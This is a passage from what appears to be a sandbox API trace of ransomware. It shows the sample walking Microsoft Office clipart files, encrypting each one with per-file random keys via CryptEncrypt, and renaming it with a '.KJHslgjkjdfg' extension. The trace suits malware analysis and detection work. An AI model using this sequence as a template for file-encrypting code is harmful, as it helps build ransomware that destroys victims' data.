dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.164] SetEndOfFile (hFile=0x130) returned 1 [0249.168] GetProcessHeap () returned 0x2ef0000 [0249.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.168] GetProcessHeap () returned 0x2ef0000 [0249.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.kjhslgjkjdfg")) returned 1 [0249.170] CloseHandle (hObject=0x130) returned 1 [0249.170] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d702300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d702300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00560_.WMF", cAlternateFileName="")) returned 1 [0249.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.172] GetProcessHeap () returned 0x2ef0000 [0249.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.172] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.175] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.175] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.175] GetProcessHeap () returned 0x2ef0000 [0249.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.175] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.175] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.175] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.175] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.175] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.175] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.176] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.176] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.176] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.176] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x50c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x50c, lpOverlapped=0x0) returned 1 [0249.176] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x510, dwBufLen=0x510 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x510) returned 1 [0249.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.176] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x510, lpOverlapped=0x0) returned 1 [0249.176] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.176] SetEndOfFile (hFile=0x130) returned 1 [0249.180] GetProcessHeap () returned 0x2ef0000 [0249.180] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.180] GetProcessHeap () returned 0x2ef0000 [0249.180] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.kjhslgjkjdfg")) returned 1 [0249.182] CloseHandle (hObject=0x130) returned 1 [0249.182] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd194b700, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd194b700, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00642_.WMF", cAlternateFileName="")) returned 1 [0249.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.183] GetProcessHeap () returned 0x2ef0000 [0249.183] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.183] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.184] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.186] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.186] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.186] GetProcessHeap () returned 0x2ef0000 [0249.186] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.186] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.186] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.186] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.187] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.188] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x778, lpOverlapped=0x0) returned 1 [0249.188] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x780, dwBufLen=0x780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x780) returned 1 [0249.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.188] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x780, lpOverlapped=0x0) returned 1 [0249.188] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.188] SetEndOfFile (hFile=0x130) returned 1 [0249.191] GetProcessHeap () returned 0x2ef0000 [0249.191] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.191] GetProcessHeap () returned 0x2ef0000 [0249.191] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.kjhslgjkjdfg")) returned 1 [0249.193] CloseHandle (hObject=0x130) returned 1 [0249.193] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2094, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00788_.WMF", cAlternateFileName="")) returned 1 [0249.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.195] GetProcessHeap () returned 0x2ef0000 [0249.195] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.195] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.195] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0249.198] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.198] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.198] GetProcessHeap () returned 0x2ef0000 [0249.198] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.198] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.198] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.198] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.198] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.198] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.198] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.198] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.199] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.199] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.199] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2094, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2094, lpOverlapped=0x0) returned 1 [0249.200] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20a0, dwBufLen=0x20a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20a0) returned 1 [0249.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.200] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x20a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x20a0, lpOverlapped=0x0) returned 1 [0249.201] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.201] SetEndOfFile (hFile=0x130) returned 1 [0249.205] GetProcessHeap () returned 0x2ef0000 [0249.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.205] GetProcessHeap () returned 0x2ef0000 [0249.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.kjhslgjkjdfg")) returned 1 [0249.208] CloseHandle (hObject=0x130) returned 1 [0249.208] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY00792_.WMF", cAlternateFileName="")) returned 1 [0249.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.210] GetProcessHeap () returned 0x2ef0000 [0249.210] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.210] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.211] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.214] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.214] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.214] GetProcessHeap () returned 0x2ef0000 [0249.214] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.214] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.214] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.214] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.215] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.215] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.215] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.215] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.215] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.216] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.216] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2fdc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2fdc, lpOverlapped=0x0) returned 1 [0249.224] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2fe0, dwBufLen=0x2fe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2fe0) returned 1 [0249.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.224] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2fe0, lpOverlapped=0x0) returned 1 [0249.225] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x30b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.225] SetEndOfFile (hFile=0x130) returned 1 [0249.227] GetProcessHeap () returned 0x2ef0000 [0249.227] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.227] GetProcessHeap () returned 0x2ef0000 [0249.227] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.227] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.kjhslgjkjdfg")) returned 1 [0249.229] CloseHandle (hObject=0x130) returned 1 [0249.229] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: 